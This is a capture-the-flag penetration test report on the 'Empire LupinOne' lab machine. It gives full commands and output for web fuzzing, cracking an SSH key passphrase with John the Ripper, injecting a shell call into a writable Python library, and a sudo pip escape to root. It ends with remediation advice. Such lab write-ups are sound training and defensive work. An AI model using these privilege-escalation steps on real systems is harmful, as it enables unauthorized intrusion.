Penetration Testing Report- Empire LupinOne

Target: Empire LupinOne
Methodology: Black-box CTF Assessment
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🧾 Executive Summary

This report documents the results of a penetration test performed against the virtual machine "Empire LupinOne". The goal of this engagement was to identify and exploit vulnerabilities in the target system to gain unauthorized access and retrieve sensitive information.

During testing, the following was achieved:

- Discovery of exposed web services
- Identification of sensitive content through directory fuzzing
- Extraction and cracking of SSH private key
- Successful SSH access to the system
- Retrieval of `user.txt` flag indicating user-level access

Risk Level: 🟠 Medium to High
Impact: Unauthorized user access via cracked private key

Scope

- **Target IP:** `192.168.233.142`
- **Network Range Scanned:** `192.168.233.0/24`
- **Tools Used:**
    - `netdiscover`, `nmap`, `ffuf`, `john`, `ssh2john`, `CyberChef`, `OpenSSH`, `Burp Suite`
- **Engagement Type:** CTF-style (black-box, no credentials)

Reconnaissance & Enumeration

Network Discovery

Tool: Netdiscover
Identified the target host at IP `192.168.233.142`.

Nmap Scan

```
┌──(root㉿Panda)-[~]
└─# nmap -sC -sV -sS 192.168.233.142
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-01 10:15 EDT
Nmap scan report for 192.168.233.142
Host is up (0.00088s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|   3072 ed:ea:d9:d3:af:19:9c:8e:4e:0f:31:db:f2:5d:12:79 (RSA)
|   256 bf:9f:a9:93:c5:87:21:a3:6b:6f:9e:e6:87:61:f5:19 (ECDSA)
|_  256 ac:18:ec:cc:35:c0:51:f5:6f:47:74:c3:01:95:b4:0f (ED25519)
80/tcp open  http    Apache httpd 2.4.48 ((Debian))
```

|_http-server-header: Apache/2.4.48 (Debian)
|_http-title: Site doesn't have a title (text/html).
| http-robots.txt: 1 disallowed entry
|_/~myfiles
MAC Address: 00:0C:29:6F:5F:8F (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.72 seconds

Results:

Port	Service	Version
22	SSH	OpenSSH 8.4p1 Debian
80	HTTP	Apache 2.4.48

Observations:

- Port 22 allows SSH connections.
- Web server (Apache) runs on port 80, with a `robots.txt` file that disallows `/~myfiles`.

Web Enumeration

robots.txt

Disallowed: /~myfiles



Though listed, access to `/~myfiles` was not further explored due to time/resource focus shift to another discovery.

Directory Fuzzing (FFUF)

```
┌──(panda㉿Panda)-[~]
└─$ ffuf -c -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -u
http://192.168.233.142/~FUZZ

        /'___\  /'___\           /'___\
        /\ \__/ /\ \__/  __  __  /\ \__/
        \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
        \ \_\   \ \_\  \ \____/  \ \_\
        \/_/    \/_/   \/___/    \/_/

        v2.1.0-dev
_____________________________________________

 :: Method       : GET
 :: URL          : http://192.168.233.142/~FUZZ
 :: Wordlist     : FUZZ: /usr/share/wordlists/dirbuster/directory-list-1.0.txt
 :: Follow redirects : false
 :: Calibration  : false
 :: Timeout      : 10
 :: Threads      : 40
 :: Matcher      : Response status: 200-299,301,302,307,401,403,405,500
_____________________________________________

secret                  [Status: 301, Size: 320, Words: 20, Lines: 10, Duration: 7ms]
:: Progress: [141708/141708] :: Job [1/1] :: 2380 req/sec :: Duration: [0:00:53] :: Errors: 0 ::
```

Result:

- Discovered directory: **`/~secret`**



Hello Friend, Im happy that you found my secret diretory, I created like this to share with you my create ssh private key file, Its hided somewhere here, so that hackers dont find it and crack my passphrase with fasttrack.
I'm smart I know that.
Any problem let me know

Your best friend icex64

Within `/~secret`, a clue was presented:

> *"SSH private RSA key is hidden somewhere here and can be cracked using fasttrack.txt."*

Further fuzzing revealed a file:

/~secret/mysecret.txt --> [Status: 200]

Credential Extraction

- The contents of `mysecret.txt` appeared encoded.
- Decoded using **CyberChef** with Base58 decoding.



- Result: **Private RSA key** for user `icex64`.

Cracking SSH Key Password

Used `ssh2john` to generate a hash:

```
┌──(panda㉿Panda)-[~]
└─$  ssh2john ssh_key.rsa
ssh_key.rsa:$sshng$2$16$f2df77361693c16003677b8a33deeb06$2486$6f70656e7373682d6b
65792d7631000000000a6165733235362d6362630000000662637279707400000018000000010f
2df77361693c16003677b8a33deeb060000001000000001000002170000000773736 82d727361
0000000301000100000201 00c1cc78f325cbe4f465e2cada65813f73fe63fdd4da8e53d428030a2
9e493718447e6fe3e4a426763fc907
```

Cracked using John the Ripper:

```
┌──(panda㉿Panda)-[~]
└─$ ssh2john ssh_key.rsa > hash_ssh
┌──(panda㉿Panda)-[~]
└─$ john --wordlist=/home/panda/Downloads/fasttrack.txt hash_ssh
```

Created directory: /home/panda/.john
Using default input enc oding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
P@55w0rd! (ssh_key.rsa)
1g 0:00:00:03 DONE (2025-06-14 03:32) 0.2631g/s 16.84p/s 16.84c/s 16.84C/s Spring2017..password2
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Password cracked: **P@55w0rd!**

SSH Access

```
┌──(panda㉿Panda)-[~]
└─$ chmod 600 ssh_key.rsa
┌──(panda㉿Panda)-[~]
└─$ chmod 700 ~/.ssh
```

Successfully gained access to the machine as user `icex64`.

Retrieved the user flag:

```
icex64@LupinOne:~$ cat user.txt
```





3mp!r3{I_See_That_You_Manage_To_Get_My_Bunny}
icex64@LupinOne:~$

Lateral Movement

- **Sudo Check for `icex64`**

  icex64@LupinOne:~$ sudo -l
  Matching Defaults entries for icex64 on LupinOne:
  env_reset, mail_badpass,
  secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

  User icex64 may run the following commands on LupinOne:
  (arsene) NOPASSWD: /usr/bin/python3.9 /home/arsene/heist.py

- Found that `icex64` could execute `heist.py` as `arsene`
- Located a writable file `/usr/lib/python3.9/webbrowser.py`

-2025-06-14 05:42:35-- http://192.168.233.141/linpeas.sh
Connecting to 192.168.233.141:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 840139 (820K) [text/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh
100%[==
==>] 820.45K --.-KB/s   in
0.03s

2025-06-14 05:42:35 (26.0 MB/s) - ‘linpeas.sh’ saved [840139/840139]
icex64@LupinOne:/tmp$ chmod +x linpeas.sh
icex64@LupinOne:/tmp$ ./linpeas.sh

╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 200)
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-files
/dev/mqueue
/dev/shm…
#)You_can_write_even_more_files_inside_last_directory

/usr/lib/python3.9/webbrowser.py
/var/tmp
/var/www/html
/var/www/html/image
/var/www/html/index.html
/var/www/html/~myfiles
/var/www/html/~myfiles/index.html
/var/www/html/robots.txt
/var/www/html/~secret
/var/www/html/~secret/index.html
/var/www/html/~secret/.mysecret.txt

Injected malicious payload into `webbrowser.py`:

icex64@LupinOne:/tmp$ nano /usr/lib/python3.9/webbrowser.py

Added **‘os.system("/bin/bash")’** in code

- Ran `heist.py` to obtain `arsene` shell

icex64@LupinOne:/tmp$ sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py

arsene@LupinOne:/tmp$

Shell access gained as `arsene`

Privilege Escalation to Root

Sudo Check for `arsene`

arsene@LupinOne:/tmp$ sudo -l
Matching Defaults entries for arsene on LupinOne:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User arsene may run the following commands on LupinOne:
    (root) NOPASSWD: /usr/bin/pip

- **Exploit via pip abuse**

arsene@LupinOne:/$ TF=$(mktemp -d)
arsene@LupinOne:/$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
arsene@LupinOne:/$ sudo pip install $TF
Processing /tmp/tmp.TlowkDWhiR
 # id

.. / pip ☆ Star 11,794

Shell | Reverse shell | File upload | File download | File write | File read | Library load | Sudo

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

```
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
pip install $TF
```

Root shell obtained!

Root Flag

cat root.txt
*,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,(((((((((((((((((((((,,
,   .&&&&&&&&&(/&&&&&&&&&
,   &&&&&&*   @&&&&&&



3mp!r3{congratulations_you_manage_to_pwn_the_lupin1_box}
See you on the next heist.

Root Flag:

```
3mp!r3{congratulations_you_manage_to_pwn_the_lupin1_box}
```

Vulnerabilities Summary

Vulnerability	Risk	Description
Weak SSH private key	High	Cracked with wordlist in seconds

Sensitive file exposed via HTTP	High	Private SSH key found via `/~secret/` fuzzing
Abusable sudo access (icex64)	High	Allowed arbitrary Python execution as another user
Writable system Python file	High	Used for privilege escalation to `arsene`
Root access via `pip install`	Critical	Gained root shell without password

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Recommendations

SSH Hardening

- Enforce strong key passphrases
- Use ed25519 keys with high entropy

Web Server Security

- Remove sensitive files like `mysecret.txt`
- Block directory browsing
- Implement `.htaccess` and file-level permissions

Sudo Policy Control

- Remove unnecessary `sudo` access
- Avoid `NOPASSWD` where not absolutely needed
- Restrict use of binaries like `pip`, `python`, etc.

System Hardening

- Prevent write access to system Python libraries
- Implement `AppArmor`/`SELinux` or similar MAC framework

Monitoring & Detection

- Detect use of enumeration tools (e.g. ffuf, nikto)
- Monitor modification of system libraries or sudo execution

Conclusion

The *Empire LupinOne* virtual machine was successfully compromised due to multiple chained misconfigurations:

- Exposed private key → Initial foothold
- Insecure sudo rule → Privilege escalation
- Writable system files → Lateral movement
- `pip` privilege → Root access

This assessment highlights the importance of defense-in-depth, regular permission audits, and strict sudo control. All identified vulnerabilities should be addressed immediately to reduce risk exposure.